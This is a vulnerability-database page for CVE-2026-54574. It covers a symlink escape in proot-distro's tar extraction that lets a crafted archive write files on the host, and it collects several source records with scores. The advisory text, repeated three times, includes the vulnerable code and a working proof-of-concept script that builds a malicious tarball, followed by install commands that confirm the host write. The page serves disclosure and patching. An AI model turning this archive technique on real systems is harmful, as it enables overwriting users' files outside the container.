Every CVE Search/ Get API key

CVE-2026-54574

`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive

8.2 HighFix available

proot-distro is a utility for managing proot containers. Prior to version 5.1.5, proot-distro install extracted plain tarball root filesystems through _extract_plain_tar() in proot_distro/commands/install.py and Docker layers through _apply_layer() in proot_distro/helpers/docker.py without validating archive-controlled symlink targets in member.linkname, allowing a malicious archive to plant an absolute host-path symlink and write files through it onto the host filesystem. This issue is fixed in version 5.1.5.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.21%Up 0.1 points since Jul 30, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.2

`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive

proot-distro is a utility for managing proot containers. Prior to version 5.1.5, proot-distro install extracted plain tarball root filesystems through _extract_plain_tar() in proot_distro/commands/install.py and Docker layers through _apply_layer() in proot_distro/helpers/docker.py without validating archive-controlled symlink targets in member.linkname, allowing a malicious archive to plant an absolute host-path symlink and write files through it onto the host filesystem. This issue is fixed in version 5.1.5.

Record
CVE-2026-54574
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-61
Updated
2026-11-02
EUVDEUVD-2026-50408 8.2

proot-distro is a utility for managing proot containers. Prior to version 5.1.5, proot-distro install extracted plain tarball root filesystems through _extract_plain_tar() in proot_distro/commands/install.py and Docker layers through _apply_layer() in proot_distro/helpers/docker.py without validating archive-controlled symlink targets in member.linkname, allowing a malicious archive to plant an absolute host-path symlink and write files through it onto the host filesystem. This issue is fixed in version 5.1.5.

Record
EUVD-2026-50408
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-9xq3-3fqg-4vg7 8.2

`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive

Repository: termux/proot-distro
Component: proot_distro/commands/install.py → _extract_plain_tar(); also helpers/docker.py → _apply_layer()


Affected Versions

| Component | Version | |---------------|------------------------------| | proot-distro | 5.0.2 (confirmed vulnerable) | | Termux app | 0.119.0-beta.3 | | Device / ABI | Samsung Galaxy A23 / aarch64 | | Python (host) | 3.13 |


Vulnerability Description

proot-distro install extracts a plain tarball rootfs by calling _extract_plain_tar() in proot_distro/commands/install.py. This function correctly rejects tar member names containing .. components, but applies no equivalent check on symlink targets (member.linkname). A tar archive can therefore:

  1. Plant a symlink inside the rootfs whose target is an absolute host path (e.g. /data/data/com.termux/files/home).
  2. Write a subsequent regular-file member whose path traverses through that symlink name.

Python's open() follows the symlink, writing the file on the host filesystem at the privilege level of the Termux process — entirely during proot-distro install, before the container is ever run.

The same _extract_plain_tar function is reachable via proot-distro reset, and the equivalent _apply_layer in helpers/docker.py contains the same flaw.


Vulnerable Code

proot_distro/commands/install.py, _extract_plain_tar():

elif member.issym():
    # linkname taken verbatim from archive — no validation of target
    os.symlink(member.linkname, dest)        # ← symlink planted on host

elif member.isreg():
    dest = os.path.join(rootfs_dir, rel_path)
    with open(dest, 'wb') as out:            # ← follows symlink above
        ...

The existing traversal guard only covers member names:

if any(p in ('..', '') for p in rel_parts):
    continue  # only checks the name, not the symlink target

There is no check on member.linkname. An absolute symlink target bypasses this guard entirely.

| Check | Member name (rel_path) | Symlink target (member.linkname) | |------------------------------------|:------------------------:|:----------------------------------:| | Reject .. components | ✅ | ❌ | | Confirm stays inside rootfs_dir | ❌ | ❌ |


Proof of Concept

Step 1 — Craft a malicious archive

# craft_evil_layer.py
import tarfile, io, hashlib

PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:

    # Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home
    sym = tarfile.TarInfo(name='escape')
    sym.type = tarfile.SYMTYPE
    sym.linkname = '/data/data/com.termux/files/home'
    tf.addfile(sym)

    # Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS
    reg = tarfile.TarInfo(name='escape/POC_SUCCESS')
    reg.size = len(PAYLOAD)
    tf.addfile(reg, io.BytesIO(PAYLOAD))

data = buf.getvalue()
with open('evil.tar.gz', 'wb') as f:
    f.write(data)

print("Created evil.tar.gz")
print("sha256:", hashlib.sha256(data).hexdigest())

Step 2 — Install the archive

$ python craft_evil_layer.py
Created evil.tar.gz
sha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57

$ proot-distro install ./evil.tar.gz
[*] Installing from 'evil.tar.gz' as 'evil'...
[*] Extracting rootfs from archive...
[*] Finished installation.

Step 3 — Verify proot-distro version

$ pkg show proot-distro | grep Version
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Version: 5.0.2

Step 4 — Verify host write

$ cat ~/POC_SUCCESS
TERMUX_ESCAPE_SUCCESS

POC_SUCCESS was written…

Record
GHSA-9xq3-3fqg-4vg7
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-61
Updated
2026-11-02
NVD 8.2

proot-distro is a utility for managing proot containers. Prior to version 5.1.5, proot-distro install extracted plain tarball root filesystems through _extract_plain_tar() in proot_distro/commands/install.py and Docker layers through _apply_layer() in proot_distro/helpers/docker.py without validating archive-controlled symlink targets in member.linkname, allowing a malicious archive to plant an absolute host-path symlink and write files through it onto the host filesystem. This issue is fixed in version 5.1.5.

Record
CVE-2026-54574
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-61
Updated
2026-11-02
OSV 8.2

`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive

proot-distro is a utility for managing proot containers. Prior to version 5.1.5, proot-distro install extracted plain tarball root filesystems through _extract_plain_tar() in proot_distro/commands/install.py and Docker layers through _apply_layer() in proot_distro/helpers/docker.py without validating archive-controlled symlink targets in member.linkname, allowing a malicious archive to plant an absolute host-path symlink and write files through it onto the host filesystem. This issue is fixed in version 5.1.5.

Record
CVE-2026-54574
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-61
Updated
2026-11-02
OSVGHSA-9xq3-3fqg-4vg7 8.2

`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive

Repository: termux/proot-distro
Component: proot_distro/commands/install.py → _extract_plain_tar(); also helpers/docker.py → _apply_layer()


Affected Versions

| Component | Version | |---------------|------------------------------| | proot-distro | 5.0.2 (confirmed vulnerable) | | Termux app | 0.119.0-beta.3 | | Device / ABI | Samsung Galaxy A23 / aarch64 | | Python (host) | 3.13 |


Vulnerability Description

proot-distro install extracts a plain tarball rootfs by calling _extract_plain_tar() in proot_distro/commands/install.py. This function correctly rejects tar member names containing .. components, but applies no equivalent check on symlink targets (member.linkname). A tar archive can therefore:

  1. Plant a symlink inside the rootfs whose target is an absolute host path (e.g. /data/data/com.termux/files/home).
  2. Write a subsequent regular-file member whose path traverses through that symlink name.

Python's open() follows the symlink, writing the file on the host filesystem at the privilege level of the Termux process — entirely during proot-distro install, before the container is ever run.

The same _extract_plain_tar function is reachable via proot-distro reset, and the equivalent _apply_layer in helpers/docker.py contains the same flaw.


Vulnerable Code

proot_distro/commands/install.py, _extract_plain_tar():

elif member.issym():
    # linkname taken verbatim from archive — no validation of target
    os.symlink(member.linkname, dest)        # ← symlink planted on host

elif member.isreg():
    dest = os.path.join(rootfs_dir, rel_path)
    with open(dest, 'wb') as out:            # ← follows symlink above
        ...

The existing traversal guard only covers member names:

if any(p in ('..', '') for p in rel_parts):
    continue  # only checks the name, not the symlink target

There is no check on member.linkname. An absolute symlink target bypasses this guard entirely.

| Check | Member name (rel_path) | Symlink target (member.linkname) | |------------------------------------|:------------------------:|:----------------------------------:| | Reject .. components | ✅ | ❌ | | Confirm stays inside rootfs_dir | ❌ | ❌ |


Proof of Concept

Step 1 — Craft a malicious archive

# craft_evil_layer.py
import tarfile, io, hashlib

PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:

    # Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home
    sym = tarfile.TarInfo(name='escape')
    sym.type = tarfile.SYMTYPE
    sym.linkname = '/data/data/com.termux/files/home'
    tf.addfile(sym)

    # Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS
    reg = tarfile.TarInfo(name='escape/POC_SUCCESS')
    reg.size = len(PAYLOAD)
    tf.addfile(reg, io.BytesIO(PAYLOAD))

data = buf.getvalue()
with open('evil.tar.gz', 'wb') as f:
    f.write(data)

print("Created evil.tar.gz")
print("sha256:", hashlib.sha256(data).hexdigest())

Step 2 — Install the archive

$ python craft_evil_layer.py
Created evil.tar.gz
sha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57

$ proot-distro install ./evil.tar.gz
[*] Installing from 'evil.tar.gz' as 'evil'...
[*] Extracting rootfs from archive...
[*] Finished installation.

Step 3 — Verify proot-distro version

$ pkg show proot-distro | grep Version
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Version: 5.0.2

Step 4 — Verify host write

$ cat ~/POC_SUCCESS
TERMUX_ESCAPE_SUCCESS

POC_SUCCESS was written…

Record
GHSA-9xq3-3fqg-4vg7
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-61
Updated
2026-11-02
OSVPYSEC-2026-3608 8.2

`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive

Repository: termux/proot-distro
Component: proot_distro/commands/install.py → _extract_plain_tar(); also helpers/docker.py → _apply_layer()


Affected Versions

| Component | Version | |---------------|------------------------------| | proot-distro | 5.0.2 (confirmed vulnerable) | | Termux app | 0.119.0-beta.3 | | Device / ABI | Samsung Galaxy A23 / aarch64 | | Python (host) | 3.13 |


Vulnerability Description

proot-distro install extracts a plain tarball rootfs by calling _extract_plain_tar() in proot_distro/commands/install.py. This function correctly rejects tar member names containing .. components, but applies no equivalent check on symlink targets (member.linkname). A tar archive can therefore:

  1. Plant a symlink inside the rootfs whose target is an absolute host path (e.g. /data/data/com.termux/files/home).
  2. Write a subsequent regular-file member whose path traverses through that symlink name.

Python's open() follows the symlink, writing the file on the host filesystem at the privilege level of the Termux process — entirely during proot-distro install, before the container is ever run.

The same _extract_plain_tar function is reachable via proot-distro reset, and the equivalent _apply_layer in helpers/docker.py contains the same flaw.


Vulnerable Code

proot_distro/commands/install.py, _extract_plain_tar():

elif member.issym():
    # linkname taken verbatim from archive — no validation of target
    os.symlink(member.linkname, dest)        # ← symlink planted on host

elif member.isreg():
    dest = os.path.join(rootfs_dir, rel_path)
    with open(dest, 'wb') as out:            # ← follows symlink above
        ...

The existing traversal guard only covers member names:

if any(p in ('..', '') for p in rel_parts):
    continue  # only checks the name, not the symlink target

There is no check on member.linkname. An absolute symlink target bypasses this guard entirely.

| Check | Member name (rel_path) | Symlink target (member.linkname) | |------------------------------------|:------------------------:|:----------------------------------:| | Reject .. components | ✅ | ❌ | | Confirm stays inside rootfs_dir | ❌ | ❌ |


Proof of Concept

Step 1 — Craft a malicious archive

# craft_evil_layer.py
import tarfile, io, hashlib

PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:

    # Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home
    sym = tarfile.TarInfo(name='escape')
    sym.type = tarfile.SYMTYPE
    sym.linkname = '/data/data/com.termux/files/home'
    tf.addfile(sym)

    # Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS
    reg = tarfile.TarInfo(name='escape/POC_SUCCESS')
    reg.size = len(PAYLOAD)
    tf.addfile(reg, io.BytesIO(PAYLOAD))

data = buf.getvalue()
with open('evil.tar.gz', 'wb') as f:
    f.write(data)

print("Created evil.tar.gz")
print("sha256:", hashlib.sha256(data).hexdigest())

Step 2 — Install the archive

$ python craft_evil_layer.py
Created evil.tar.gz
sha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57

$ proot-distro install ./evil.tar.gz
[*] Installing from 'evil.tar.gz' as 'evil'...
[*] Extracting rootfs from archive...
[*] Finished installation.

Step 3 — Verify proot-distro version

$ pkg show proot-distro | grep Version
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Version: 5.0.2

Step 4 — Verify host write

$ cat ~/POC_SUCCESS
TERMUX_ESCAPE_SUCCESS

POC_SUCCESS was written…

Record
PYSEC-2026-3608
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
proot-distro
PyPI
through 5.1.4
5.1.5
proot-distro
PyPI
before 5.1.5, plus listed versions
5.0.05.0.0b15.0.0b25.0.0b35.0.0b4
Show 8 moreShow less
5.0.0b55.0.15.0.25.1.05.1.15.1.25.1.35.1.4
5.1.5

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-54574 is a high vulnerability (CVSS 8.2) in Termux Proot-distro, published July 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.21%, the 11th percentile. Fixed in proot-distro 5.1.5.

References

This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open